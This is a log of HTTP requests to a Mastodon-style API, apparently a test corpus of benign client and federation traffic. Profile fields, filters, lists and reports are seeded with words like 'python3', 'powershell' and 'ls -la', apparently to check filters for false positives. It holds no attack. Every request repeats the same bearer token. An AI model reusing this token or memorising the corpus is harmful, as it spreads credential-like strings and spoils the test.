{"method": "GET", "target": "/api/v1/statuses/117589416132420900/context", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/source", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/history", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/favourited_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/reblogged_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/favourite", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/reblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/bookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/pin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unreblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unpin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/translate", "headers": ["Host: example.com", "Content-Length: 7", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "lang=en"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 1170", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=1ce86dc4368a42cfa98a3b4f593e0157"], "body": "--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"display_name\"\r\n\r\nAdmin python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"note\"\r\n\r\nWriting about powershell, ls -la and .htaccess\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][name]\"\r\n\r\nShell\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][value]\"\r\n\r\nls -la\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][name]\"\r\n\r\nBlog\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][value]\"\r\n\r\nhttps://example.org/python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[language]\"\r\n\r\nen\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[privacy]\"\r\n\r\npublic\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--1ce86dc4368a42cfa98a3b4f593e0157--\r\n"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 146", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "display_name=Admin+.htaccess¬e=python3+and+powershell&fields_attributes%5B0%5D%5Bname%5D=python3&fields_attributes%5B0%5D%5Bvalue%5D=powershell"}
|
||||||
|
{"method": "POST", "target": "/api/v1/lists", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+friends&replies_policy=list"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/lists/1", "headers": ["Host: example.com", "Content-Length: 27", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=powershell+and+ls+-la"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/follow", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "reblogs=true"}
|
||||||
|
{"method": "POST", "target": "/api/v1/lists/1/accounts", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_ids%5B%5D=117589325674471006"}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/list/1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Plain+words+today&visibility=public"}
|
||||||
|
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
|
||||||
|
{"method": "POST", "target": "/api/v2/filters/1/keywords", "headers": ["Host: example.com", "Content-Length: 34", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keyword=powershell&whole_word=true"}
|
||||||
|
{"method": "PUT", "target": "/api/v2/filters/1", "headers": ["Host: example.com", "Content-Length: 46", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"title\": \"python3 spam\", \"context\": [\"home\"]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/tags/python3/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "name=python3"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/note", "headers": ["Host: example.com", "Content-Length: 59", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "comment=Knows+python3%2C+powershell%2C+ls+-la+and+.htaccess"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/endorse", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/markers", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "home%5Blast_read_id%5D=117589418035558426"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/familiar_followers?id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589371958209726/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589371958209726/statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 78", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40alice%40remote.example+thanks+for+the+python3+tips&visibility=public"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Content-Length: 110", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_id=117589325674471006&category=spam&comment=Posting+python3+and+powershell+malware+links&forward=false"}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/accounts?local=true&username=python3&display_name=powershell&email=ls+-la&ip=192.0.2.1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/admin/accounts?origin=local&status=active&username=.htaccess", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/reports", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/trends/tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/domain_blocks", "headers": ["Host: example.com", "Content-Length: 122", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example&severity=silence&private_comment=python3+and+ls+-la+spam&public_comment=powershell+and+.htaccess+spam"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/email_domain_blocks", "headers": ["Host: example.com", "Content-Length: 20", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/ip_blocks", "headers": ["Host: example.com", "Content-Length: 86", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "ip=198.51.100.0%2F24&severity=sign_up_requires_approval&comment=python3+signup+scripts"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/canonical_email_blocks/test", "headers": ["Host: example.com", "Content-Length: 24", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "email=spam%40example.org"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/accounts/117589325674471006/action", "headers": ["Host: example.com", "Content-Length: 95", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "type=none&text=Please+stop+posting+python3+and+powershell+malware&send_email_notification=false"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Content-Length: 82", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keys%5B%5D=active_users&keys%5B%5D=new_users&start_at=2026-11-01&end_at=2026-11-09"}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/domain_allows?", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589418035558426/unbookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/statuses/117589418035558426", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=acct%3Aadmin%40example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:bob@example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=https%3A%2F%2Fexample.com%2Fusers%2Fadmin", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/host-meta", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/xrd+xml", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/nodeinfo", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/nodeinfo/2.0", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Y5ZuE0MOAi7ofZkpciGb+6B2x1570oCCl9NrPLnw3/N+YLlCU1pDBNlOvajumPfHhn1FYfxFD2iXhBCbhFX5YzRxFr4JiVQxtE6Az9N8zDuppQYSDUrFHzr/apPEz7MOeEKpnDZayLJOnLVITFfXo0zxS74deEjMxIbQiIT2dpsmqWoFOLppHbK09YFfrNWm1i/moefDCTKxwaeT0TaZThq163LGWhLI1hNyVGBrXteApuyxNMccJdDGwaJXMSq7GJjjEu0cibYljwP+lMBt/LEYyxnGA8PxFtqTgwLzXe1T5Dp8LSrT0xotd70cJM2NWZGljHY3rlULJMdCYr20bw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/actor", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"J+gTKwfdLDbez3w3ci6Gdl10xqi0jU1ot59nSnJWsY2ag7u6VQjLlAXNcq0DJ9KJrh8MXzldcbi/QwCKbZk1uz++rjZXSwvl74hR4Swq0y+az95jO3/HFtOKtQLyBTqPfb4sQCuFpdNEgg+gW+yTWCmbBMaL55IZD9wT+RRvEPOlx7H1T/IYgauqNY7wDE4bbqcQnu+ihA5N8ZZvYhSV5dPikCM1xbxL2QJRjcJTKV6l+wvBRwI/Zputjpk8PBTswi2oEkJSs5VN/my1LzZVYWL6W8jZSTzh/hoqOgsqo2ZYpnaT+8YbPI6qyxh8VMtPEyfY4tUBik0pjNKcaySvjw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"DXTJHzfDUc1Ez219MDV9THrpbiMVSvVzjOgogPBa3L+atf2RZ+RMn8NxIMN5FERFDyevnvMOgyj7AMOS+zCyMpyskFgYSnAFu4XCsUGffSFIASvKjWguTQ15gWGmsRGmF3tCQggw+voeOL0I+d+EEGAOgZoZ2QqF5i4qDk1GooQO/nYIVTrK83ARNx/QMm9nEqFHsBRPGdU3Mj16uWHNNKGyYVOdlx7hOKLBHDuCA0d8iu8RSp6ojkfriwUtySCTafKfYwM5THE+G3lFm8IkIQt0SiI1aZlp8KEpV64g9YywuM+JXXLeA3vYWD3JuaciwO7ay6m+dNSSZbbatZQ+6Q==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"HqhTPCnI/uaGcjevFuWVJrjiimE5eg4wbBE/O0KGuW8+HNl58yQqmGpRQl+WT5ETcQRHDxsNrJRBJa73PRyncAFTp55SDwL/v1RoTLMaARcPtWvuoYy8v1MXmXQMWdJOVxgr5TVzBT0kvfyvb6+Pf28nFwyPX7W/MGCjPaBpvUPK6yxwP0NI242BZeO0Rmh5AS+yUxHps/tz6mslOHiwHT2anRvSFuXi4/lyEL8PWqtT1G0LBDfs9LNjLNLi+bAB/hkrl9LU5MOCb+e4c5EeBjl77qENl6+gSuz4ctnv8uzgBAACvS3XWs6SjnbbYiUKYbz7IpcdU8YEbbllVS23eg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"hR/0PqXlBbIbQlIhnIvjKAkIQIlFFi1YBXk2IQG+MKl4/gBPHOD7qrn9XZy18h1KM99q2DUOHqv6IZ/PicGkSxfrLYSHz+7o19Vdx7GTy4xBEX8AuAsAzNfTPLZqzvc9hHhz4OC7c0sEcgOfYCqplXT5bzOV45uvf09F4kh0FnNCCfZzb68kN+qIYwwAvlhu0wndO0K2KyZnYvW2Ps2Z9XUpkpSbn2MrtqHrItWM/CqO6oTWg8Y5+qDFhvcSiZBfdJnUTOM2UmX5qr2A+Vdcv8eunlMEO9gWnr5Ny8E2cjbhe9oWUHyhE1+/TcQBSR28pFfR6z+qiqAKNtfvsYdCRw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"NCVb3fqv0GxCag4azSlbOa7Y3l1eeSqB6O0Bau7R9PHsZuWjL9siKYin68Z3wzCKIZiETwid17VWQCqVVZRszios2ReqdEWyGwu5yc1TbfJR+bsVpbH2jWu7oddOX1qjqv5BYCLrJKv/gCgNNdVtZW9LckQgsyP93IYTMSzwE8gUShhXiD/+E2B5aRIIwjvj/tJHfvwHKzid7OwlXg+TJJyBqQ1k1IIorbKMrnEBTiyCWVB2SGG/bzgf3hq4VHYCoAL3CZTLIg/VRSqiFanpkG6JwoyasG4bN+4QCW/SrX3qXZtTHg1BbR9Kj3txYFVTi+O//XhjddN7hNJIsObXJg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PStB/Ph3bi8x7XzkNTZeLYG7y9K16CqjcFceXAR5JFvmIcFuD2NDSW58ztcRGYxyXoYSTK4goX+AAqj/5nxe5BeC+4GpuwAb3SC4DkpjqsXsMKR5KjO5o9fpThXPa0W4R6a9+wbLwnAkwYp+pffL3tGmr7/AYOJ60+k4pVke9gjSFiFs/Sk5MRJmpx6WWkEnBmskYOuNHXwzBzBpJDjTND8obQqfTgH3Rh5c2Ps64JIM2sVwv88i2ht+jRDWljKWT4JlD4NjpugsVYPvIS8rTnIX3yHnVSo/MBMvVKYCqsq+TlmTO1trR8Y1IsyPUIJqeOSiBlf1YaWjzeecTzgRyA==\""], "body": ""}
|
||||||
|
